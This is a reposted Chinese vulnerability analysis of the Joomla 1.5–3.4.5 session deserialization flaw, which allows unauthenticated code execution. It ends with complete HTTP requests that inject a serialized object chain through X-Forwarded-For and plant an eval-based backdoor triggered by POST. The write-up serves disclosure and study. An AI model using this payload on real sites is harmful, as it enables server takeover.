Joomla安全团队紧急发布了3.4.6版本,修复了一个高危0day漏洞。
影响版本
from Joomla 1.5 up until 3.4.5
此漏洞无需登录,前台即可代码执行
一、session反序列化
php函数session_set_save_handler()
官方手册介绍如下:
参数 read()
read(string $sessionId)
如果会话中有数据,read 回调函数必须返回将会话数据编码(序列化)后的字符串。 如果会话中没有数据,read 回调函数返回空字符串。
在自动开始会话或者通过调用 session_start() 函数手动开始会话之后,PHP 内部调用 read 回调函数来获取会话数据。 在调用 read 之前,PHP 会调用 open 回调函数。
read 回调返回的序列化之后的字符串格式必须与 write 回调函数保存数据时的格式完全一致。 PHP 会自动反序列化返回的字符串并填充 $_SESSION 超级全局变量。 虽然数据看起来和 serialize() 函数很相似, 但是需要提醒的是,它们是不同的。
简而言之,通过session_set_save_handler()重写read方法,将返回值反序列化后填入$_SESSION
示例如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 |
<span class="pun"><?</span><span class="pln">php classFileSessionHandler </span><span class="pun">{</span><span class="pln"> </span><span class="kwd">private</span><span class="pln"> $savePath</span><span class="pun">;</span><span class="pln"> </span><span class="kwd">function</span><span class="pln"> open</span><span class="pun">(</span><span class="pln">$savePath</span><span class="pun">,</span><span class="pln"> $sessionName</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln"> $this</span><span class="pun">-></span><span class="pln">savePath </span><span class="pun">=</span><span class="pln"> $savePath</span><span class="pun">;</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">is_dir</span><span class="pun">(</span><span class="pln">$this</span><span class="pun">-></span><span class="pln">savePath</span><span class="pun">))</span><span class="pln"> </span><span class="pun">{</span><span class="pln"> mkdir</span><span class="pun">(</span><span class="pln">$this</span><span class="pun">-></span><span class="pln">savePath</span><span class="pun">,</span><span class="pln"> </span><span class="lit">0777</span><span class="pun">);</span><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="kwd">true</span><span class="pun">;</span><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">function</span><span class="pln"> close</span><span class="pun">()</span><span class="pln"> </span><span class="pun">{</span><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="kwd">true</span><span class="pun">;</span><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">function</span><span class="pln"> read</span><span class="pun">(</span><span class="pln">$id</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln"> $data</span><span class="pun">=</span><span class="lit">@file_get_contents</span><span class="pun">(</span><span class="str">"$this->savePath/sess_$id"</span><span class="pun">);</span><span class="pln"> var_dump</span><span class="pun">(</span><span class="pln">$data</span><span class="pun">);</span><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">string</span><span class="pun">)</span><span class="lit">@file_get_contents</span><span class="pun">(</span><span class="str">"$this->savePath/sess_$id"</span><span class="pun">);</span><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">function</span><span class="pln"> write</span><span class="pun">(</span><span class="pln">$id</span><span class="pun">,</span><span class="pln"> $data</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln"> </span><span class="com">// return file_put_contents("$this->savePath/sess_$id", $data) === false ? false : true;</span><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">function</span><span class="pln"> destroy</span><span class="pun">(</span><span class="pln">$id</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln"> $file </span><span class="pun">=</span><span class="pln"> </span><span class="str">"$this->savePath/sess_$id"</span><span class="pun">;</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">file_exists</span><span class="pun">(</span><span class="pln">$file</span><span class="pun">))</span><span class="pln"> </span><span class="pun">{</span><span class="pln"> unlink</span><span class="pun">(</span><span class="pln">$file</span><span class="pun">);</span><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="kwd">true</span><span class="pun">;</span><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">function</span><span class="pln"> gc</span><span class="pun">(</span><span class="pln">$maxlifetime</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln"> </span><span class="kwd">foreach</span><span class="pln"> </span><span class="pun">(</span><span class="pln">glob</span><span class="pun">(</span><span class="str">"$this->savePath/sess_*"</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">as</span><span class="pln"> $file</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">filemtime</span><span class="pun">(</span><span class="pln">$file</span><span class="pun">)</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> $maxlifetime </span><span class="pun"><</span><span class="pln"> time</span><span class="pun">()</span><span class="pln"> </span><span class="pun">&&</span><span class="pln"> file_exists</span><span class="pun">(</span><span class="pln">$file</span><span class="pun">))</span><span class="pln"> </span><span class="pun">{</span><span class="pln"> unlink</span><span class="pun">(</span><span class="pln">$file</span><span class="pun">);</span><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">return</span><span class="pln"> </span><span class="kwd">true</span><span class="pun">;</span><span class="pln"> </span><span class="pun">}</span> <span class="pun">}</span><span class="pln"> $handler </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">new</span><span class="pln"> </span><span class="typ">FileSessionHandler</span><span class="pun">();</span><span class="pln"> session_set_save_handler</span><span class="pun">(</span><span class="pln"> array</span><span class="pun">(</span><span class="pln">$handler</span><span class="pun">,</span><span class="pln"> </span><span class="str">'open'</span><span class="pun">),</span><span class="pln"> array</span><span class="pun">(</span><span class="pln">$handler</span><span class="pun">,</span><span class="pln"> </span><span class="str">'close'</span><span class="pun">),</span><span class="pln"> array</span><span class="pun">(</span><span class="pln">$handler</span><span class="pun">,</span><span class="pln"> </span><span class="str">'read'</span><span class="pun">),</span><span class="pln"> array</span><span class="pun">(</span><span class="pln">$handler</span><span class="pun">,</span><span class="pln"> </span><span class="str">'write'</span><span class="pun">),</span><span class="pln"> array</span><span class="pun">(</span><span class="pln">$handler</span><span class="pun">,</span><span class="pln"> </span><span class="str">'destroy'</span><span class="pun">),</span><span class="pln"> array</span><span class="pun">(</span><span class="pln">$handler</span><span class="pun">,</span><span class="pln"> </span><span class="str">'gc'</span><span class="pun">)</span><span class="pln"> </span><span class="pun">);</span><span class="pln"> session_start</span><span class="pun">();</span><span class="pln"> var_dump</span><span class="pun">(</span><span class="pln">$_SESSION</span><span class="pun">);</span> |
运行结果
可以看出,两次vardump出来的结果,分别为序列化前和序列化后
二、数据库截断
通过官网介绍“The character set named utf8 uses a maximum of three bytes per character and contains only BMP characters. ”,mysql在使用utf8的时候,一个字符的大小的上限为3字节,而当出现四个字节的字符时,是需要用使用utf8mb4编码,不使用的话,会将不识别的四字节的字符连同后面的字符串一同舍弃。
详情参见:http://xteam.baidu.com/?p=177
三、漏洞分析
joomla会将user-agent和x-forwarded-for的内容写入session,外界可控且并未进行任何过滤
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
<span class="pln"> // Record proxy forwarded for in the session in case we need it later if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $this->set('session.client.forwarded', $_SERVER['HTTP_X_FORWARDED_FOR']); } // Check for clients browser if (in_array('fix_browser', $this->_security) && isset($_SERVER['HTTP_USER_AGENT'])) { $browser = $this->get('session.client.browser'); if ($browser === null) { $this->set('session.client.browser', $_SERVER['HTTP_USER_AGENT']); } elseif ($_SERVER['HTTP_USER_AGENT'] !== $browser) { // @todo remove code: $this->_state = 'error'; // @todo remove code: return false; } } return true; }</span> |
之后session写入数据库时,运用前文所讲的四字节字符截断,使得我们写入的session可以被成功反序列化
如下是写入后的内容
1 |
<span class="pln">__default|a:9:{s:15:”session.counter”;i:1;s:19:”session.timer.start”;i:1450172177;s:18:”session.timer.last”;i:1450172177;s:17:”session.timer.now”;i:1450172177;s:24:”session.client.forwarded”;s:435:”}__test|O:21:”JDatabaseDriverMysqli”:3:{s:2:”fc”;O:17:”JSimplepieFactory”:0:{}s:21:”disconnectHandlers”;a:1:{i:0;a:2:{i:0;O:9:”SimplePie”:5:{s:8:”sanitize”;O:20:”JDatabaseDriverMysql”:0:{}s:8:”feed_url”;s:60:”eval(base64_decode($_POST[111]));JFactory::getConfig();exit;”;s:19:”cache_name_function”;s:6:”assert”;s:5:”cache”;b:1;s:11:”cache_class”;O:20:”JDatabaseDriverMysql”:0:{}}i:1;s:4:”init”;}}s:13:”connection”;b:1;}</span> |
而后面则是session的自动反序列化
1 2 3 4 5 6 7 8 |
<span class="pln">public function register() { // Use this object as the session handler session_set_save_handler( array($this, 'open'), array($this, 'close'), array($this, 'read'), array($this, 'write'), array($this, 'destroy'), array($this, 'gc') ); }</span> |
使用了session_set_save_handler函数重写了read()方法
read()方法如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
<span class="pln">public function read($id) { // Get the database connection object and verify its connected. $db = JFactory::getDbo(); try { // Get the session data from the database table. $query = $db->getQuery(true) ->select($db->quoteName('data')) ->from($db->quoteName('#__session')) ->where($db->quoteName('session_id') . ' = ' . $db->quote($id)); $db->setQuery($query); $result = (string) $db->loadResult(); $result = str_replace('', chr(0) . '*' . chr(0), $result); return $result; } catch (Exception $e) { return false; } }</span> |
read() return后自动进行一次反序列化操作,从而造成了php对象注入
四、漏洞利用
User-aget和X-FORWARDER-FOR均可
修改session
1 2 3 4 5 6 7 8 9 |
<span class="pln">GET /joomla/ HTTP/1.1 Host: 192.168.152.130 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0 x-forwarded-for: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:60:"eval(base64_decode($_POST[111]));JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"connection";b:1;}ð Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: 82864b7eae85ebcf7a6fbdda5d464249=h5kl99v8ddi9t64919sf706q64 Connection: keep-alive</span> |
执行代码
1 2 3 4 5 6 7 8 9 10 11 |
<span class="pln">POST /joomla/ HTTP/1.1 Host: 192.168.152.130 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: 82864b7eae85ebcf7a6fbdda5d464249=h5kl99v8ddi9t64919sf706q64 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 24 111=cGhwaW5mbygpOw%3d%3d</span> |
注意保证cookie中的数据一致即可
相关链接
[1]https://docs.joomla.org/Security_hotfixes_for_Joomla_EOL_versions
[2]http://php.net/session_set_save_handler
* 作者:百度云安全(企业账号),转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)
转载请注明: 转载自Legend‘s BLog
本文链接地址: Joomla对象注入漏洞分析(含漏洞利用方式)
未经允许不得转载:Legend‘s BLog » Joomla对象注入漏洞分析(含漏洞利用方式)
发表评论